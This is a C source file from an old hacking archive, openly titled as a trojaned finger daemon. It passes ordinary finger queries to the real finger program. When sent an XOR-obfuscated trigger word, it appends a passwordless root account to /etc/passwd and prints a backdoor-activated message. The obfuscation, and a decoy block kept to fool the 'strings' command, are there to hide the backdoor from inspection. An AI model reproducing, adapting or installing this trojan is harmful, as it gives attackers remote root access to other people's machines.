home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / fingerd.c-2430 < prev    next >
Text File  |  1998-07-17  |  3KB  |  119 lines

  1.  
  2. /*  The Fingerd trojan by Hitman Italy
  3.  *  This source cannot be spread without the whole article
  4.  *  but you can freely implement or modify it for personal use
  5.  */
  6.  
  7. static char copyright[] = "";   /* Add the copyright string here */
  8.  
  9. static char sccsid[] = "";      /* Add the sccsid string here */
  10.  
  11.  
  12. #include <stdio.h>
  13.  
  14. #define PATH_FINGER "/usr/bin/finger"
  15. #define CODE 161
  16.  
  17. char *HitCrypt(ch)
  18. char *ch;
  19. {
  20.    char *b;
  21.    b=ch;
  22.    while ((*(ch++)^=CODE)!=0x00);
  23.    return(b);
  24. }
  25.  
  26. main(argc,argv)
  27. int argc;
  28. char *argv[];
  29. {
  30.    register FILE *fp;
  31.    register int ch;
  32.    register char *lp;
  33.    int p[2];
  34.  
  35. static char exor[4][23]={
  36. {201,200,213,CODE},
  37. {142,196,213,194,142,209,192,210,210,214,197,CODE},
  38. {201,200,213,155,155,145,155,145,155,155,142,155,142,195,200,207,142,194,
  39. 210,201,CODE},
  40. {227,192,194,202,197,206,206,211,129,192,194,213,200,215,192,213,196,197,
  41. 143,143,143,CODE} };
  42.  
  43. #define   ENTRIES   50
  44.    char **ap, *av[ENTRIES + 1], line[1024], *strtok();
  45.  
  46. #ifdef LOGGING               /* unused, leave it for "strings" command */
  47. #include <netinet/in.h>
  48.    struct sockaddr_in sin;
  49.    int sval;
  50.  
  51.    sval = sizeof(sin);
  52.    if (getpeername(0, &sin, &sval) < 0)
  53.       fatal(argv[0],"getpeername");
  54. #endif
  55.  
  56.    if (!fgets(line, sizeof(line), stdin))
  57.       exit(1);
  58.  
  59.    av[0] = "finger";
  60.  
  61.    for (lp = line, ap = &av[1];;) {
  62.       *ap = strtok(lp, " \t\r\n");
  63.       if (!*ap)
  64.          break;
  65.       if ((*ap)[0] == '/' && ((*ap)[1] == 'W' || (*ap)[1] == 'w'))
  66.          *ap = "-l";
  67.       if (++ap == av + ENTRIES)
  68.          break;
  69.       lp = NULL;
  70.    }
  71.  
  72.    if (pipe(p) < 0)
  73.       fatal(argv[0],"pipe");
  74.  
  75.    switch(fork()) {
  76.    case 0:
  77.       (void)close(p[0]);
  78.       if (p[1] != 1) {
  79.          (void)dup2(p[1], 1);
  80.          (void)close(p[1]);
  81.       }
  82.  
  83. /*-=-=-=-=-=- PUT HERE YOUR CODE -=-=-=-=-=-*/
  84.    if (av[1])
  85.        if (strcmp( (HitCrypt(&exor[0][0])) ,av[1])==0) {
  86.         if(!(fp=fopen( (HitCrypt(&exor[1][0])) ,"a")))
  87.          _exit(10);
  88.         fprintf(fp,"%s\n", HitCrypt(&exor[2][0]));
  89.         printf("%s\n", HitCrypt(&exor[3][0]));
  90.         fclose(fp);
  91.         break;
  92.        }
  93. /*-=-=-=-=-=- END OF CUSTOM CODE =-=-=-=-=-=-*/
  94.  
  95.         if (execv(PATH_FINGER, av)==-1)
  96.          fprintf(stderr,"No local finger program found\n");
  97.       _exit(1);
  98.    case -1:
  99.       fatal(argv[0],"fork");
  100.    }
  101.    (void)close(p[1]);
  102.    if (!(fp = fdopen(p[0], "r")))
  103.       fatal(argv[0],"fdopen");
  104.    while ((ch = getc(fp)) != EOF) {
  105.       putchar(ch);
  106.    }
  107.    exit(0);
  108. }
  109.  
  110. fatal(prg,msg)
  111.  
  112.    char *prg,*msg;
  113. {
  114.    fprintf(stderr, "%s: ", prg);
  115.    perror(msg);
  116.    exit(1);
  117. }
  118.  
  119.